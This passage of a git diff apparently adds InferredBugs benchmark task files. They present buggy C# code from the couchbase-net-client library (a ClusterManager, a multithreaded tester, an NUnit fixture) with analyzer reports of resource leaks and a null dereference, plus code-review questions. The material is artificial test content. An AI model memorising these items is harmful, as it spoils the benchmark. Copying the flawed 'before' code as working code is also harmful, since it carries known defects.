+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2803/instruction.md b/inferredbugs-2803/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..687456be8a91e6e87e42bb4a42c053763976bd35
--- /dev/null
+++ b/inferredbugs-2803/instruction.md
@@ -0,0 +1,214 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** couchbase-net-client
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Concurrent;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Text;
+using System.Threading.Tasks;
+using Couchbase.Configuration.Client;
+using Couchbase.Configuration.Server.Providers;
+using Couchbase.Configuration.Server.Providers.CarrierPublication;
+using Couchbase.Configuration.Server.Providers.Streaming;
+using Couchbase.Configuration.Server.Serialization;
+using Couchbase.Core.Buckets;
+using Couchbase.IO;
+using Couchbase.IO.Strategies.Awaitable;
+
+namespace Couchbase.Core
+{
+    internal sealed class ClusterManager : IClusterManager
+    {
+        private readonly ClientConfiguration _clientConfig;
+        private readonly ConcurrentDictionary<string, IBucket> _buckets = new ConcurrentDictionary<string, IBucket>();
+        private readonly List<IConfigProvider> _configProviders = new List<IConfigProvider>();
+        private readonly Func<IConnectionPool, IOStrategy> _ioStrategyFactory;
+        private Func<PoolConfiguration, IPEndPoint, IConnectionPool> _connectionPoolFactory;
+        private bool _disposed;
+
+        public ClusterManager(ClientConfiguration clientConfig) 
+            : this(clientConfig, 
+            pool => new AwaitableIOStrategy(pool, null), 
+            (config, endpoint) =>new DefaultConnectionPool(config, endpoint))
+        {
+        }
+
+        public ClusterManager(ClientConfiguration clientConfig, Func<IConnectionPool, IOStrategy> ioStrategyFactory) 
+            : this(clientConfig, 
+            ioStrategyFactory, 
+            (config, enpoint)=>new DefaultConnectionPool(config, enpoint))
+        {
+        }
+
+        public ClusterManager(ClientConfiguration clientConfig, Func<IConnectionPool, IOStrategy> ioStrategyFactory, Func<PoolConfiguration, IPEndPoint, IConnectionPool> connectionPoolFactory)
+        {
+            _clientConfig = clientConfig;
+            _ioStrategyFactory = ioStrategyFactory;
+            _connectionPoolFactory = connectionPoolFactory;
+            Initialize();
+        }
+
+        public List<IConfigProvider> ConfigProviders { get { return _configProviders; } }
+
+        //TODO possibly make providers instantiation configurable...maybe. perhaps.
+        void Initialize()
+        {
+            _configProviders.Add(new CarrierPublicationProvider(_clientConfig, _ioStrategyFactory, _connectionPoolFactory));
+            _configProviders.Add(new HttpStreamingProvider(_clientConfig));
+        }
+
+        public IConfigProvider GetProvider(string name)
+        {
+            throw new NotImplementedException();
+        }
+
+        public IBucket CreateBucket(string bucketName)
+        {
+            var configProvider = ConfigProviders.First();
+
+            var bucket = new CouchbaseBucket(this)
+            {
+                Name = bucketName
+            };
+
+            if (_buckets.TryAdd(bucketName, bucket))
+            {
+                configProvider.RegisterListener(bucket);
+            }
+            else
+            {
+                throw new BucketAlreadyOpenException(bucketName);
+            }
+            return bucket;
+        }
+
+        public IBucket CreateBucket(string bucketName, string username, string password)
+        {
+            throw new NotImplementedException();
+        }
+
+        IServer CreateServer(Node node)
+        {
+            throw new NotImplementedException();
+        }
+
+        IKeyMapper CreateMapper()
+        {
+            throw new NotImplementedException();
+        }
+
+        public void NotifyConfigPublished(IBucketConfig bucketConfig)
+        {
+            var provider = _configProviders.FirstOrDefault(x => x is CarrierPublicationProvider);
+            if (provider != null)
+            {
+                var carrierPublicationProvider = provider as CarrierPublicationProvider;
+                if (carrierPublicationProvider != null)
+                {
+                    carrierPublicationProvider.UpdateConfig(bucketConfig);
+                }
+            }
+        }
+
+        public void DestroyBucket(IBucket bucket)
+        {
+            IBucket temp;
+            if (_buckets.TryRemove(bucket.Name, out temp))
+            {
+                var listener = temp as IConfigListener;
+                foreach (var configProvider in ConfigProviders)
+                {
+                    configProvider.UnRegisterListener(listener);
+                }
+            }
+            else
+            {
+                throw new BucketNotFoundException(bucket.Name);
+            }
+        }
+
+        public void Dispose()
+        {
+            Dispose(true);
+        }
+
+        public void Dispose(bool disposing)
+        {
+            if (!_disposed)
+            {
+                if (disposing)
+                {
+                    GC.SuppressFinalize(this);
+                }
+                foreach (var pair in _buckets)
+                {
+                   DestroyBucket(pair.Value);
+                }
+                _disposed = true;
+            }
+        }
+
+        ~ClusterManager()
+        {
+            Dispose(false);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource return of type Couchbase.Core.Buckets.CouchbaseBucket, Leaked resource bucket of type Couchbase.Core.Buckets.CouchbaseBucket in method "IBucket ClusterManager.CreateBucket(String)".
+
+### Severity:
+ERROR
+
+### Procedure:
+IBucket ClusterManager.CreateBucket(String)
+
+### File:
+Src/Couchbase/Core/ClusterManager.cs
+
+### Key:
+ClusterManager.cs|CreateBucket|DOTNET_RESOURCE_LEAK
+
+### Hash:
+c2df661b731a6e7fcdfdca84568cc1a3
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2804/instruction.md b/inferredbugs-2804/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..322df8536c3ca6a4f4052ba4e22a498c348deba8
--- /dev/null
+++ b/inferredbugs-2804/instruction.md
@@ -0,0 +1,251 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** couchbase-net-client
+**Bug ID:** 10
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Linq;
+using System.Security.AccessControl;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+using Couchbase;
+using Couchbase.Configuration.Client;
+using Couchbase.Core;
+using Wintellect;
+
+namespace tester
+{
+    class Program
+    {
+        private static AutoResetEvent _resetEvent = new AutoResetEvent(false);
+        private static Cluster _cluster;
+        static void Main(string[] args)
+        {
+            var config = new ClientConfiguration(new PoolConfiguration()
+            {
+                MaxSize = 10,
+                MinSize = 10
+            });
+
+            Cluster.Initialize(config);
+            _cluster = Cluster.Get();
+            var bucket = _cluster.OpenBucket("default");
+ 
+            int n = 100000;
+
+            using (var timer = new OperationTimer())
+            {
+                //ThreadPoolInsert(bucket, n);
+               //ThreadPoolInsert(bucket, n);
+              //SynchronousInsert(bucket, n);
+              //ParallerInsert(bucket, n);
+                MultiThreaded(4, 100000, bucket);
+            }
+            Console.Read();
+            _cluster.CloseBucket(bucket);
+
+            
+        }
+
+        static void ThreadPoolInsert(IBucket bucket, int n)
+        {
+            for (int i = 0; i < n; i++)
+            {
+                int i1 = i;
+                Task.Factory.StartNew(() =>
+                {
+                    var key = "key" + i1;
+                    var value = "value" + i1;
+
+                    /*var result = bucket.Insert(key, value);
+
+                    if (result.Success)
+                    {
+                        Console.WriteLine("Write Key: {0} - Value: {1}", key, value);*/
+                    var result2 = bucket.Get<string>(key);
+                    if (result2.Success)
+                    {
+                        Console.WriteLine("Read Key: {0} - Value: {1}", key, result2.Value);
+                    }
+                    else
+                    {
+                        Console.WriteLine("Read Error: {0} - {1}", key, result2.Message);
+                    }
+                    /*}
+                    else
+                    {
+                        Console.WriteLine("Write Error: {0} - {1}", key, result.Message);
+                    }*/
+                });
+            }
+        }
+
+        static void SynchronousInsert(IBucket bucket, int n)
+        {
+            for (int i = 0; i < n; i++)
+            {
+                var key = "key" + i;
+                var value = "value" + i;
+
+                var result = bucket.Insert(key, value);
+
+                if (result.Success)
+                {
+                    Console.WriteLine("Write Key: {0} - Value: {1}", key, value);
+                    var result2 = bucket.Get<string>(key);
+                    if (result2.Success)
+                    {
+                        Console.WriteLine("Read Key: {0} - Value: {1}", key, result2.Value);
+                    }
+                    else
+                    {
+                        Console.WriteLine("Read Error: {0} - {1}", key, result2.Message);
+                    }
+                }
+                else
+                {
+                    Console.WriteLine("Write Error: {0} - {1}", key, result.Message);
+                }
+            }
+        }
+
+        static void ParallerInsert(IBucket bucket, int n)
+        {
+            var options = new ParallelOptions {MaxDegreeOfParallelism = 3};
+            
+            Parallel.For(0, n, options, i =>
+            {
+                var key = "key" + i;
+                var value = "value" + i;
+
+              /* var result = bucket.Insert(key, value);
+
+                if (result.Success)
+                {
+                        Console.WriteLine("Write Key: {0} - Value: {1}", key, value);*/
+                   var result2 = bucket.Get<string>(key);
+                    if (result2.Success)
+                    {
+                        if (result2.Value != value) { throw new Exception();}
+                        Console.WriteLine("Read Key: {0} - Value: {1}", key, result2.Value);
+                    }
+                    else
+                    {
+                        Console.WriteLine("Read Error: {0} - {1}", key, result2.Message);
+                    }
+               /* }
+                else
+                {
+                    Console.WriteLine("Write Error: {0} - {1}", key, result.Message);
+                }*/
+            });
+        }
+
+        public static void MultiThreaded(int threadCount, int keys, IBucket bucket)
+        {
+            var threads = new Thread[threadCount];
+            for (var i = 0; i < threadCount; i++)
+            {
+                var threadData = new ThreadData
+                {
+                    Keys = keys / threadCount,
+                    Bucket = bucket,
+                    Part = i,
+                    ThreadCount = threadCount
+                };
+
+                threads[i]= new Thread(ThreadProc);
+                threads[i].Start(threadData);
+            }
+            _resetEvent.WaitOne();
+        }
+
+        static void ThreadProc(object state)
+        {
+            var threadData = state as ThreadData;
+            for (var i = 0; i < threadData.Keys; i++)
+            {
+                var key = "key" + i;
+                var value = "value" + i;
+
+               // var result = threadData.Bucket.Insert(key, value);
+               // Console.WriteLine("Insert {0} - {1} on thread {2}", key, result.Success ? "success" : "failure", Thread.CurrentThread.ManagedThreadId);
+                var result1 = threadData.Bucket.Get<string>(key);
+                Console.WriteLine("Get {0} - {1} on thread {2}", key, result1.Success ? "success" : "failure", Thread.CurrentThread.ManagedThreadId);
+            }
+
+            if (threadData.ThreadCount/threadData.Keys == threadData.Part)
+            {
+                _resetEvent.Set();
+            }
+        }
+
+        public class ThreadData
+        {
+            public int Keys;
+            public IBucket Bucket;
+            public int Part;
+            public int ThreadCount;
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `threadData` last assigned on line 163 could be null and is dereferenced at line 164, column 29.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void Program.ThreadProc(Object)
+
+### File:
+Src/tester/Program.cs
+
+### Key:
+Program.cs|ThreadProc|NULL_DEREFERENCE
+
+### Node Key:
+91c9ca8854be0d6f38e3b131b0a43364
+
+### Hash:
+7ea3002ebeb32059597cb7bc408f33cd
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2805/instruction.md b/inferredbugs-2805/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..845b581d3dc5f036f6038de0ec44217a95dde002
--- /dev/null
+++ b/inferredbugs-2805/instruction.md
@@ -0,0 +1,304 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** couchbase-net-client
+**Bug ID:** 19
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Common.Logging;
+using Couchbase.Authentication.SASL;
+using Couchbase.Configuration;
+using Couchbase.Configuration.Client;
+using Couchbase.Configuration.Server.Providers;
+using Couchbase.Configuration.Server.Providers.CarrierPublication;
+using Couchbase.Configuration.Server.Providers.Streaming;
+using Couchbase.Configuration.Server.Serialization;
+using Couchbase.Core.Buckets;
+using Couchbase.IO;
+using Couchbase.IO.Strategies;
+using System;
+using System.Collections.Concurrent;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Security.Authentication;
+
+namespace Couchbase.Core
+{
+    internal sealed class ClusterManager : IClusterManager
+    {
+        private readonly static ILog Log = LogManager.GetCurrentClassLogger();
+        private readonly ClientConfiguration _clientConfig;
+        private readonly ConcurrentDictionary<string, IBucket> _buckets = new ConcurrentDictionary<string, IBucket>();
+        private readonly List<IConfigProvider> _configProviders = new List<IConfigProvider>();
+        private readonly Func<IConnectionPool, IOStrategy> _ioStrategyFactory;
+        private readonly Func<PoolConfiguration, IPEndPoint, IConnectionPool> _connectionPoolFactory;
+        private readonly Func<string, string, IOStrategy, IByteConverter, ISaslMechanism> _saslFactory;
+        private readonly IByteConverter _converter;
+        private bool _disposed;
+
+        public ClusterManager(ClientConfiguration clientConfig)
+            : this(clientConfig,
+            pool => new DefaultIOStrategy(pool),
+            (config, endpoint) =>
+            {
+                IConnectionPool connectionPool;
+                if (config.UseSsl)
+                {
+                    connectionPool = new ConnectionPool<SslConnection>(config, endpoint);
+                }
+                else
+                {
+                    connectionPool = new ConnectionPool<EapConnection>(config, endpoint);
+                }
+                return connectionPool;
+            },
+            SaslFactory.GetFactory3(),
+            new ManualByteConverter())
+        {
+        }
+
+        public ClusterManager(ClientConfiguration clientConfig, Func<IConnectionPool, IOStrategy> ioStrategyFactory)
+            : this(clientConfig,
+            ioStrategyFactory,
+            (config, endpoint) =>
+            {
+                IConnectionPool connectionPool;
+                if (config.UseSsl)
+                {
+                    connectionPool = new ConnectionPool<SslConnection>(config, endpoint);
+                }
+                else
+                {
+                    connectionPool = new ConnectionPool<EapConnection>(config, endpoint);
+                }
+                return connectionPool;
+            }, SaslFactory.GetFactory3(),
+            new ManualByteConverter())
+        {
+        }
+
+        public ClusterManager(ClientConfiguration clientConfig, 
+            Func<IConnectionPool, IOStrategy> ioStrategyFactory, 
+            Func<PoolConfiguration, IPEndPoint, IConnectionPool> connectionPoolFactory, 
+            Func<string, string, IOStrategy, IByteConverter, ISaslMechanism> saslFactory, 
+            IByteConverter converter)
+        {
+            _clientConfig = clientConfig;
+            _ioStrategyFactory = ioStrategyFactory;
+            _connectionPoolFactory = connectionPoolFactory;
+            _saslFactory = saslFactory;
+            _converter = converter;
+            Initialize();
+        }
+
+        public List<IConfigProvider> ConfigProviders { get { return _configProviders; } }
+
+        //TODO possibly make providers instantiation configurable...maybe. perhaps.
+        private void Initialize()
+        {
+            _configProviders.Add(new CarrierPublicationProvider(_clientConfig, _ioStrategyFactory, _connectionPoolFactory, _saslFactory, _converter));
+            _configProviders.Add(new HttpStreamingProvider(_clientConfig, _ioStrategyFactory, _connectionPoolFactory, _saslFactory, _converter));
+        }
+
+        public IConfigProvider GetProvider(string name)
+        {
+            throw new NotImplementedException();
+        }
+
+        public IBucket CreateBucket(string bucketName)
+        {
+            return CreateBucket(bucketName, string.Empty);
+        }
+
+        public IBucket CreateBucket(string bucketName, string password)
+        {
+            var success = false;
+            IBucket bucket = null;
+            foreach (var provider in _configProviders)
+            {
+                try
+                {
+                    Log.DebugFormat("Trying to boostrap with {0}.", provider);
+                    var config = provider.GetConfig(bucketName, password);
+                    switch (config.NodeLocator)
+                    {
+                        case NodeLocatorEnum.VBucket:
+                            bucket = new CouchbaseBucket(this, bucketName, _converter);
+                            break;
+
+                        case NodeLocatorEnum.Ketama:
+                            bucket = new MemcachedBucket(this, bucketName, _converter);
+                            break;
+
+                        default:
+                            throw new ArgumentOutOfRangeException();
+                    }
+
+                    var configObserver = bucket as IConfigObserver;
+                    if (provider.ObserverExists(configObserver))
+                    {
+                        Log.DebugFormat("Using existing bootstrap {0}.", provider);
+                        configObserver.NotifyConfigChanged(config);
+                        success = true;
+                        break;
+                    }
+                    if (provider.RegisterObserver(configObserver) &&
+                        _buckets.TryAdd(bucket.Name, bucket))
+                    {
+                        Log.DebugFormat("Successfully boostrap using {0}.", provider);
+                        configObserver.NotifyConfigChanged(config);
+                        success = true;
+                        break;
+                    }
+                }
+                catch (BucketNotFoundException e)
+                {
+                    Log.Warn(e);
+                }
+                catch (ConfigException e)
+                {
+                    Log.Warn(e);
+                }
+                catch (AuthenticationException e)
+                {
+                    Log.Warn(e);
+                    break;
+                }
+            }
+
+            if (!success)
+            {
+                throw new ConfigException("Could not bootstrap {0}. See log for details.", bucketName);
+            }
+            return bucket;
+        }
+
+        public void NotifyConfigPublished(IBucketConfig bucketConfig)
+        {
+            var provider = _configProviders.FirstOrDefault(x => x is CarrierPublicationProvider);
+            if (provider != null)
+            {
+                var carrierPublicationProvider = provider as CarrierPublicationProvider;
+                if (carrierPublicationProvider != null)
+                {
+                    carrierPublicationProvider.UpdateConfig(bucketConfig);
+                }
+            }
+        }
+
+        public void DestroyBucket(IBucket bucket)
+        {
+            IBucket temp;
+            if (_buckets.TryRemove(bucket.Name, out temp))
+            {
+                var configObserver = temp as IConfigObserver;
+                foreach (var configProvider in ConfigProviders)
+                {
+                    configProvider.UnRegisterObserver(configObserver);
+                }
+            }
+        }
+
+        public void Dispose()
+        {
+            Dispose(true);
+        }
+
+        public void Dispose(bool disposing)
+        {
+            if (!_disposed)
+            {
+                if (disposing)
+                {
+                    GC.SuppressFinalize(this);
+                }
+                foreach (var pair in _buckets)
+                {
+                    DestroyBucket(pair.Value);
+                }
+                _disposed = true;
+            }
+        }
+
+        ~ClusterManager()
+        {
+            Dispose(false);
+        }
+    }
+}
+
+#region [ License information          ]
+
+/* ************************************************************
+ *
+ *    @author Couchbase <info@couchbase.com>
+ *    @copyright 2014 Couchbase, Inc.
+ *
+ *    Licensed under the Apache License, Version 2.0 (the "License");
+ *    you may not use this file except in compliance with the License.
+ *    You may obtain a copy of the License at
+ *
+ *        http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *    Unless required by applicable law or agreed to in writing, software
+ *    distributed under the License is distributed on an "AS IS" BASIS,
+ *    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *    See the License for the specific language governing permissions and
+ *    limitations under the License.
+ *
+ * ************************************************************/
+
+#endregion
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of Couchbase.Configuration.Server.Providers.Streaming.HttpStreamingProvider::.ctor() at Line 94) of type Couchbase.Configuration.Server.Providers.Streaming.HttpStreamingProvider, Leaked resource (output of Couchbase.Configuration.Server.Providers.CarrierPublication.CarrierPublicationProvider::.ctor() at Line 93) of type Couchbase.Configuration.Server.Providers.CarrierPublication.CarrierPublicationProvider in method "Void ClusterManager.Initialize()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ClusterManager.Initialize()
+
+### File:
+Src/Couchbase/Core/ClusterManager.cs
+
+### Key:
+ClusterManager.cs|Initialize|DOTNET_RESOURCE_LEAK
+
+### Hash:
+0ba3e87f1c90cb0a54e8dca4941b7f09
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2832/instruction.md b/inferredbugs-2832/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4b8c8abf36bcf293517d20c96a18757674f39b6d
--- /dev/null
+++ b/inferredbugs-2832/instruction.md
@@ -0,0 +1,115 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** couchbase-net-client
+**Bug ID:** 5
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System.Collections.Generic;
+using System.Linq;
+using Couchbase.Configuration;
+using Couchbase.Configuration.Server.Providers.FileSystem;
+using Couchbase.Core;
+using Couchbase.Core.Buckets;
+using Couchbase.Tests.Configuration.Client;
+using NUnit.Framework;
+
+namespace Couchbase.Tests.Configuration
+{
+    [TestFixture]
+    public class ConfigInfoTests
+    {
+        private IConfigInfo _configInfo;
+
+        [TestFixtureSetUp]
+        public void SetUp()
+        {
+            var clientConfig = new FakeClientConfig();
+            var serverConfig = new FileSystemConfig(clientConfig.BootstrapPath);
+            serverConfig.Initialize();
+            _configInfo = new ConfigInfo(serverConfig, clientConfig);
+        }
+
+        [Test]
+        public void Test_GetKeyMapper()
+        {
+            var keyMapper = _configInfo.GetKeyMapper("default");
+            Assert.IsNotNull(keyMapper);
+        }
+
+        [Test]
+        public void Test_MapKey()
+        {
+            const string key = "TheKey";
+            var keyMapper = _configInfo.GetKeyMapper("default");
+            var vBucket = keyMapper.MapKey(key);    
+            Assert.IsNotNull(vBucket);
+        }
+
+        [Test]
+        public void Test_BucketType()
+        {
+            Assert.AreEqual(BucketTypeEnum.Couchbase, _configInfo.BucketType);
+        }
+
+        [Test]
+        [ExpectedException(typeof(NullConfigException))]
+        public void Test_BucketType_Throws_NullConfigException_When_Config_Is_Null()
+        {
+            var configInfo = new ConfigContext(null, null);
+            Assert.AreEqual(BucketTypeEnum.Couchbase, configInfo.BucketType);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource configInfo of type Couchbase.Configuration.ConfigContext in method "Void ConfigInfoTests.Test_BucketType_Throws_NullConfigException_When_Config_Is_Null()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ConfigInfoTests.Test_BucketType_Throws_NullConfigException_When_Config_Is_Null()
+
+### File:
+Src/Couchbase.Tests/Configuration/ConfigInfoTests.cs
+
+### Key:
+ConfigInfoTests.cs|Test_BucketType_Throws_NullConfigException_When_Config_Is_Null|DOTNET_RESOURCE_LEAK
+
+### Hash:
+e23a1b64e3f05e91d7c3c406764ab9b7
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2834/instruction.md b/inferredbugs-2834/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3852eb056b35af70757482eb9d7b19b0dbb2b0cd
--- /dev/null
+++ b/inferredbugs-2834/instruction.md
@@ -0,0 +1,334 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** couchbase-net-client
+**Bug ID:** 22
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System.Threading;
+using Common.Logging;
+using Couchbase.Authentication.SASL;
+using Couchbase.Configuration;
+using Couchbase.Configuration.Client;
+using Couchbase.Configuration.Server.Providers;
+using Couchbase.Configuration.Server.Providers.CarrierPublication;
+using Couchbase.Configuration.Server.Providers.Streaming;
+using Couchbase.Configuration.Server.Serialization;
+using Couchbase.Core.Buckets;
+using Couchbase.Core.Serializers;
+using Couchbase.IO;
+using Couchbase.IO.Converters;
+using Couchbase.IO.Strategies;
+using System;
+using System.Collections.Concurrent;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Security.Authentication;
+
+namespace Couchbase.Core
+{
+    internal sealed class ClusterManager : IClusterManager
+    {
+        private readonly static ILog Log = LogManager.GetCurrentClassLogger();
+        private readonly ClientConfiguration _clientConfig;
+        private readonly ConcurrentDictionary<string, IBucket> _buckets = new ConcurrentDictionary<string, IBucket>();
+        private readonly ConcurrentDictionary<string, int> _refCount = new ConcurrentDictionary<string, int>(); 
+        private readonly List<IConfigProvider> _configProviders = new List<IConfigProvider>();
+        private readonly Func<IConnectionPool, IOStrategy> _ioStrategyFactory;
+        private readonly Func<PoolConfiguration, IPEndPoint, IConnectionPool> _connectionPoolFactory;
+        private readonly Func<string, string, IOStrategy, IByteConverter, ISaslMechanism> _saslFactory;
+        private readonly IByteConverter _converter;
+        private readonly ITypeSerializer _serializer;
+        private bool _disposed;
+
+        public ClusterManager(ClientConfiguration clientConfig)
+            : this(clientConfig,
+            pool => new DefaultIOStrategy(pool),
+            (config, endpoint) =>
+            {
+                IConnectionPool connectionPool;
+                if (config.UseSsl)
+                {
+                    connectionPool = new ConnectionPool<SslConnection>(config, endpoint);
+                }
+                else
+                {
+                    connectionPool = new ConnectionPool<EapConnection>(config, endpoint);
+                }
+                return connectionPool;
+            },
+            SaslFactory.GetFactory3(),
+            new AutoByteConverter(), 
+            new TypeSerializer(new AutoByteConverter()))
+        {
+        }
+
+        public ClusterManager(ClientConfiguration clientConfig, Func<IConnectionPool, IOStrategy> ioStrategyFactory)
+            : this(clientConfig,
+            ioStrategyFactory,
+            (config, endpoint) =>
+            {
+                IConnectionPool connectionPool;
+                if (config.UseSsl)
+                {
+                    connectionPool = new ConnectionPool<SslConnection>(config, endpoint);
+                }
+                else
+                {
+                    connectionPool = new ConnectionPool<EapConnection>(config, endpoint);
+                }
+                return connectionPool;
+            }, SaslFactory.GetFactory3(),
+            new AutoByteConverter(), 
+            new TypeSerializer(new AutoByteConverter()))
+        {
+        }
+
+        public ClusterManager(ClientConfiguration clientConfig, 
+            Func<IConnectionPool, IOStrategy> ioStrategyFactory, 
+            Func<PoolConfiguration, IPEndPoint, IConnectionPool> connectionPoolFactory, 
+            Func<string, string, IOStrategy, IByteConverter, ISaslMechanism> saslFactory, 
+            IByteConverter converter,
+            ITypeSerializer serializer)
+        {
+            _clientConfig = clientConfig;
+            _ioStrategyFactory = ioStrategyFactory;
+            _connectionPoolFactory = connectionPoolFactory;
+            _saslFactory = saslFactory;
+            _converter = converter;
+            _serializer = serializer;
+            Initialize();
+        }
+
+        public List<IConfigProvider> ConfigProviders { get { return _configProviders; } }
+
+        private void Initialize()
+        {
+            _clientConfig.Initialize();
+            _configProviders.Add(new CarrierPublicationProvider(_clientConfig,
+                _ioStrategyFactory,
+                _connectionPoolFactory,
+                _saslFactory,
+                _converter,
+                _serializer));
+
+            _configProviders.Add(new HttpStreamingProvider(_clientConfig,
+                _ioStrategyFactory,
+                _connectionPoolFactory,
+                _saslFactory,
+                _converter,
+                _serializer));
+        }
+
+        public IConfigProvider GetProvider(string name)
+        {
+            throw new NotImplementedException();
+        }
+
+        public void NotifyConfigPublished(IBucketConfig bucketConfig)
+        {
+            var provider = _configProviders.FirstOrDefault(x => x is CarrierPublicationProvider);
+            if (provider != null)
+            {
+                var carrierPublicationProvider = provider as CarrierPublicationProvider;
+                if (carrierPublicationProvider != null)
+                {
+                    carrierPublicationProvider.UpdateConfig(bucketConfig);
+                }
+            }
+        }
+
+        public IBucket CreateBucket(string bucketName)
+        {
+            return CreateBucket(bucketName, string.Empty);
+        }
+
+        public IBucket CreateBucket(string bucketName, string password)
+        {
+            var success = false;
+            IBucket bucket = null;
+            foreach (var provider in _configProviders)
+            {
+                try
+                {
+                    Log.DebugFormat("Trying to boostrap with {0}.", provider);
+                    var config = provider.GetConfig(bucketName, password);
+                    switch (config.NodeLocator)
+                    {
+                        case NodeLocatorEnum.VBucket:
+                            bucket = new CouchbaseBucket(this, bucketName, _converter, _serializer);
+                            bucket.AddRef();
+                            break;
+
+                        case NodeLocatorEnum.Ketama:
+                            bucket = new MemcachedBucket(this, bucketName, _converter, _serializer);
+                            bucket.AddRef();
+                            break;
+
+                        default:
+                            throw new ArgumentOutOfRangeException();
+                    }
+
+                    var configObserver = bucket as IConfigObserver;
+                    if (provider.ObserverExists(configObserver))
+                    {
+                        Log.DebugFormat("Using existing bootstrap {0}.", provider);
+                        configObserver.NotifyConfigChanged(config);
+                        success = true;
+                        break;
+                    }
+
+                    if (provider.RegisterObserver(configObserver) &&
+                        _buckets.TryAdd(bucket.Name, bucket))
+                    {
+                        Log.DebugFormat("Successfully boostrap using {0}.", provider);
+                        configObserver.NotifyConfigChanged(config);
+                        success = true;
+                        break;
+                    }
+                    configObserver.NotifyConfigChanged(config);
+                    success = true;
+                    break;
+                }
+                catch (BucketNotFoundException e)
+                {
+                    Log.Warn(e);
+                }
+                catch (ConfigException e)
+                {
+                    Log.Warn(e);
+                }
+                catch (AuthenticationException e)
+                {
+                    Log.Warn(e);
+                    break;
+                }
+            }
+
+            if (!success)
